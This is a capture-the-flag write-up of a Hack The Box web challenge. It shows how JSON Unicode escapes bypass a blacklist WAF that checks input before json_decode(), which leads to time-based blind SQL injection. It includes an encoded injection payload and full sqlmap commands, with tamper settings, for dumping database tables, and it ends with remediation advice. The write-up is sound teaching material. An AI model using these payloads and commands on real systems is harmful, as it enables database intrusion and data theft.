wafwaf
A classic decode-after-check vulnerability to blacklist based WAF bypass, leading to a blind SQLi.
- Hack The Box
- Challenge
- Linux
- medium
- Retired
- Apr 20, 2020
Contents
- Overview
- Finding the SQL Injection
- Understanding the WAF
- Detour: Can We Bypass the Regex Directly?
- The Actual Bug: Decode After Check
- Why the Payload Returns Nothing
- Moving to Time-Based SQL Injection
- Using SQLMap
- charunicodeescape
- SQLMap Is Escaping the Escapes
- Preventing SQLMap From Processing the JSON
- Final SQLMap Command
- Enumerating the Database
- Enumerating Tables
- Dumping the Flag
- Why the Vulnerability Exists
- 1. SQL Is Constructed With String Formatting
- 2. Validation Happens Before Canonicalization
- Exploit Chain
- Conclusion
- References
wafwaf — JSON Unicode Escapes to Time-Based SQL Injection
Overview
wafwaf is a Medium Web challenge built around a SQL injection hidden behind a blacklist-based WAF.
The SQL injection itself is easy to spot: user-controlled input is passed into vsprintf() and inserted directly into a SQL query. The interesting part is bypassing the WAF.
The key mistake is that the application checks the raw JSON request body before decoding it. JSON Unicode escapes therefore allow us to represent blocked SQL characters in a form that the regex does not recognize. After the WAF accepts the request, json_decode() converts those escapes back into the characters needed for SQL injection.
Because the query result is never returned to us, the resulting injection is blind. A time-based SQL injection gives us an observable side channel, and SQLMap can automate the extraction once its JSON handling is configured correctly.
My approach was:
- Find the SQL injection vector in the query construction.
- Understand exactly what the WAF checks.
- Notice that
json_decode()runs after the WAF. - Encode blocked SQL syntax using JSON Unicode escapes.
- Confirm that the endpoint is blind.
- Adapt SQLMap with
charunicodeescape. - Prevent SQLMap from double-escaping the generated payload.
- Enumerate the database, tables, and flag.
Finding the SQL Injection
The application source is:
<?php
error_reporting(0);
require 'config.php';
class db extends Connection {
public function waf($s) {
if (preg_match_all('/'. implode('|', array(
'[' . preg_quote("(*<=>|'&-@") . ']',
'select', 'and', 'or', 'if', 'by', 'from',
'where', 'as', 'is', 'in', 'not', 'having'
)) . '/i', $s, $matches))
die(var_dump($matches[0]));
return json_decode($s);
}
public function query($sql) {
$args = func_get_args();
unset($args[0]);
return parent::query(vsprintf($sql, $args));
}
}
$db = new db();
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$obj = $db->waf(file_get_contents('php://input'));
$db->query(
"SELECT note FROM notes WHERE assignee = '%s'",
$obj->user
);
} else {
die(highlight_file(__FILE__, 1));
}
?>
The vulnerable part is:
$db->query(
"SELECT note FROM notes WHERE assignee = '%s'",
$obj->user
);
combined with:
return parent::query(vsprintf($sql, $args));
vsprintf() performs string formatting. It is not a SQL escaping or parameterization mechanism.
If we could control $obj->user freely, something such as:
' OR 1=1 #
would transform the query into approximately:
SELECT note
FROM notes
WHERE assignee = '' OR 1=1 #'
So the SQL injection primitive is obvious.
The problem is getting that payload through the WAF.
Understanding the WAF
Before decoding the JSON body, the application runs:
preg_match_all(
'/'. implode('|', array(
'[' . preg_quote("(*<=>|'&-@") . ']',
'select',
'and',
'or',
'if',
'by',
'from',
'where',
'as',
'is',
'in',
'not',
'having'
)) . '/i',
$s,
$matches
)
The blacklist catches both SQL keywords and useful SQL metacharacters.
Among other things, it blocks:
(
*
<
=
>
|
'
&
-
@
and:
SELECT
AND
OR
IF
BY
FROM
WHERE
AS
IS
IN
NOT
HAVING
A normal payload is therefore immediately rejected.
For example:
{"user":"' OR 1=1 #"}
contains several blacklisted values:
'
OR
=
and the application dies inside the WAF.
Detour: Can We Bypass the Regex Directly?
With blacklist challenges, the first instinct is usually to attack the regex itself.
Maybe there is an anchor issue.
Maybe a newline changes the behavior.
Maybe URL encoding is decoded at a different stage.
Maybe the keyword matching can be broken with whitespace or comments.
In this case, that line of attack is mostly a dead end.
The more important question is not:
How do we make
preg_match_all()fail to recognize a character?
It is:
Is the string checked by
preg_match_all()actually the same string that reaches SQL?
It is not.
The Actual Bug: Decode After Check
The WAF operates on:
file_get_contents('php://input')
which is the raw request body.
Only after the WAF accepts that body does the application execute:
return json_decode($s);
This creates a canonicalization problem.
JSON supports Unicode escape sequences of the form:
\uXXXX
For example:
'
can be represented as:
\u0027
Similarly:
OR
can be represented as:
\u004f\u0052
and:
=
as:
\u003d
Therefore:
' OR 1=1 #
can be encoded as:
\u0027\u0020\u004f\u0052\u0020\u0031\u003d\u0031\u0020\u0023
Our request becomes:
{
"user": "\u0027\u0020\u004f\u0052\u0020\u0031\u003d\u0031\u0020\u0023"
}
The important part is that the WAF sees the raw representation:
\u0027\u0020\u004f\u0052\u0020\u0031\u003d\u0031\u0020\u0023
There is no literal:
'
OR
=
for the blacklist to match.
The request therefore passes.
Then PHP executes:
json_decode($s);
and the value becomes:
' OR 1=1 #
So the flow is:
Raw HTTP body
|
v
"\u0027\u0020\u004f\u0052..."
|
v
preg_match_all()
|
| no blocked characters found
v
json_decode()
|
v
"' OR 1=1 #"
|
v
vsprintf()
|
v
SQL injection
The vulnerability is therefore not really a weakness in preg_match_all().
The application validates one representation of the data and then uses a different decoded representation in the security-sensitive operation.
Why the Payload Returns Nothing
Sending:
{
"user": "\u0027\u0020\u004f\u0052\u0020\u0031\u003d\u0031\u0020\u0023"
}
produces an empty response.
At first this might look like the injection failed.
It did not.
Look at the application again:
$db->query(
"SELECT note FROM notes WHERE assignee = '%s'",
$obj->user
);
The query is executed, but its return value is discarded.
There is no:
echo
or:
var_dump()
or result fetching code.
So from the HTTP response alone:
true SQL condition -> empty response
false SQL condition -> empty response
We cannot directly distinguish between them.
The injection is therefore blind.
We need another observable difference.
Moving to Time-Based SQL Injection
MySQL gives us the necessary primitive through time delays.
Instead of trying to make the database return visible data, we make the response take longer when a condition is true.
Conceptually:
condition false
|
v
request returns immediately
condition true
|
v
database waits several seconds
|
v
request returns later
This gives SQLMap an oracle it can use to extract information one condition at a time.
Doing that manually would be possible, but unnecessarily painful.
SQLMap already implements time-based blind extraction.
Using SQLMap
We first give SQLMap an explicit injection point using *:
sqlmap \
-u http://<HOST>/ \
-X POST \
--data '{"user":"*"}' \
--headers='Content-Type: application/json' \
--technique=T
SQLMap recognizes the marker:
custom injection marker ('*') found in POST body.
Do you want to process it? [Y/n/q]
We answer:
Y
However, this still does not work.
SQLMap's generated payloads contain normal SQL characters, so the WAF catches them.
We need SQLMap to produce the same \uXXXX encoding that we used manually.
charunicodeescape
SQLMap ships with the charunicodeescape tamper script.
We add:
--tamper=charunicodeescape
giving:
sqlmap \
-u http://<HOST>/ \
-X POST \
--data '{"user":"*"}' \
--headers='Content-Type: application/json' \
--technique=T \
--tamper=charunicodeescape
The generated SQL payload is now transformed into JSON-style Unicode escapes.
For example, SQLMap may report something similar to:
[PAYLOAD] \u0027\u0020\u0057\u0041\u0049\u0054\u0046\u004F\u0052...
That looks correct.
But the injection still fails.
So we inspect the actual HTTP request with:
-v 6
SQLMap Is Escaping the Escapes
With verbose traffic output enabled, SQLMap shows something like:
[PAYLOAD]
\u0027\u0020\u0057\u0041\u0049\u0054\u0046\u004F\u0052...
[TRAFFIC OUT]
POST / HTTP/1.1
Content-Type: application/json
{"user":"\\u0027\\u0020\\u0057\\u0041\\u0049\\u0054\\u0046\\u004F\\u0052..."}
That difference is critical.
The tamper script generated:
\u0027
but SQLMap actually sent:
\\u0027
Why?
Because SQLMap detected that our POST body was JSON.
It then serialized the payload as JSON, escaping the backslash in the process.
This changes the meaning of the input.
Consider:
{"user":"\u0027"}
After json_decode():
'
But:
{"user":"\\u0027"}
becomes approximately:
\u0027
as a literal string.
The Unicode escape survives instead of being converted into a quote.
Our bypass therefore disappears.
Preventing SQLMap From Processing the JSON
When SQLMap sees the body, it asks:
JSON data found in POST body.
Do you want to process it? [Y/n/q]
The answer here must be:
N
This sounds slightly counterintuitive because the request really is JSON.
However, we do not want SQLMap's JSON-aware payload processing. We want it to treat the POST body as raw data and replace our custom * marker directly.
The correct interaction is therefore:
custom injection marker ('*') found in POST body.
Do you want to process it? [Y/n/q] Y
JSON data found in POST body.
Do you want to process it? [Y/n/q] N
The distinction is:
Custom marker processing: YES
JSON processing: NO
We still send:
Content-Type: application/json
so PHP receives valid JSON.
We are only preventing SQLMap from parsing and reserializing the body internally.
With this configuration, the request contains:
{"user":"\u0027\u0020..."}
rather than:
{"user":"\\u0027\\u0020..."}
Now the application behaves exactly like our manual test:
SQLMap payload
|
v
charunicodeescape
|
v
\uXXXX sequences
|
v
raw JSON request
|
v
WAF sees encoded representation
|
v
json_decode()
|
v
real SQL syntax appears
|
v
time-based SQL injection
And SQLMap successfully detects the injection.
Final SQLMap Command
The base command is:
sqlmap \
-u http://<HOST>/ \
-X POST \
--data '{"user":"*"}' \
--headers='Content-Type: application/json' \
--tamper=charunicodeescape \
--technique=T
When prompted:
custom injection marker ('*') found in POST body.
Do you want to process it? [Y/n/q] Y
Answer:
Y
Then:
JSON data found in POST body.
Do you want to process it? [Y/n/q]
answer:
N
If anything behaves unexpectedly, adding:
-v 6
is extremely useful because it lets us compare SQLMap's logical payload with the bytes actually sent over HTTP.
Enumerating the Database
Once SQLMap recognizes the time-based injection, we can enumerate the current database:
sqlmap \
-u http://<HOST>/ \
-X POST \
--data '{"user":"*"}' \
--headers='Content-Type: application/json' \
--tamper=charunicodeescape \
--technique=T \
--current-db
This gives us the challenge database name.
I will refer to it as:
<DB_NAME>
below, since the original notes contain two slightly different database identifiers.
Enumerating Tables
Next:
sqlmap \
-u http://<HOST>/ \
-X POST \
--data '{"user":"*"}' \
--headers='Content-Type: application/json' \
--tamper=charunicodeescape \
--technique=T \
-D <DB_NAME> \
--tables
The interesting tables are:
notes
definitely_not_a_flag
One of those names is considerably less subtle than the other.
Dumping the Flag
Finally:
sqlmap \
-u http://<HOST>/ \
-X POST \
--data '{"user":"*"}' \
--headers='Content-Type: application/json' \
--tamper=charunicodeescape \
--technique=T \
-D <DB_NAME> \
-T definitely_not_a_flag \
--dump
SQLMap performs the time-based extraction and dumps the contents of the table, giving us the flag.
Why the Vulnerability Exists
There are really two separate issues.
1. SQL Is Constructed With String Formatting
The application uses:
vsprintf($sql, $args)
to insert attacker-controlled data into the SQL statement.
That means input can become SQL syntax.
The correct solution would be a parameterized query, for example:
$stmt = $pdo->prepare(
'SELECT note FROM notes WHERE assignee = ?'
);
$stmt->execute([$obj->user]);
With parameter binding, a value such as:
' OR 1=1 #
remains data instead of becoming part of the SQL grammar.
2. Validation Happens Before Canonicalization
Even if we ignore the SQL injection bug, the WAF makes another fundamental mistake:
validate raw input
|
v
decode / transform input
|
v
use transformed input
Security checks should generally operate on the same canonical representation that the application later uses.
Here:
WAF input:
\u0027\u004f\u0052...
Application input:
'OR...
The WAF and SQL layer are effectively looking at two different strings.
The blacklist therefore provides a false sense of security.
Exploit Chain
The complete challenge can be summarized as:
Attacker-controlled JSON
|
v
{"user":"\u0027..."}
|
v
preg_match_all() checks RAW JSON
|
| no literal SQL metacharacters
v
json_decode()
|
v
Unicode escapes become SQL syntax
|
v
vsprintf()
|
v
SQL injection
|
v
query result not reflected
|
v
blind SQL injection
|
v
time-delay oracle
|
v
SQLMap + charunicodeescape
|
v
database enumeration
|
v
flag
Conclusion
The initial SQL injection in wafwaf is straightforward. The more interesting part is understanding why the apparently aggressive WAF does not actually protect it.
The important observation is that the WAF and the database do not operate on the same representation of the input.
The WAF checks:
\u0027\u0020\u004f\u0052...
while the SQL query eventually receives:
' OR ...
json_decode() sits between those two operations and transforms input after it has already been declared safe.
The endpoint then introduces a second challenge: even after bypassing the WAF, no query results are reflected in the response. This forces us to move from ordinary SQL injection to a blind technique. Time delays provide the required side channel.
Finally, SQLMap introduces its own encoding problem. charunicodeescape generates exactly the representation we need, but SQLMap's JSON processing escapes the backslashes a second time. Declining JSON processing while keeping the custom * injection marker solves that problem.
The full chain is therefore:
SQL injection
+
check-before-decode
+
JSON Unicode escapes
+
time-based blind extraction
+
SQLMap tamper
The main lesson from the challenge is that input validation is highly dependent on when it occurs.
Checking input and then transforming it afterward can invalidate every assumption made by the check.
And, as usual, a blacklist is not a replacement for parameterized SQL.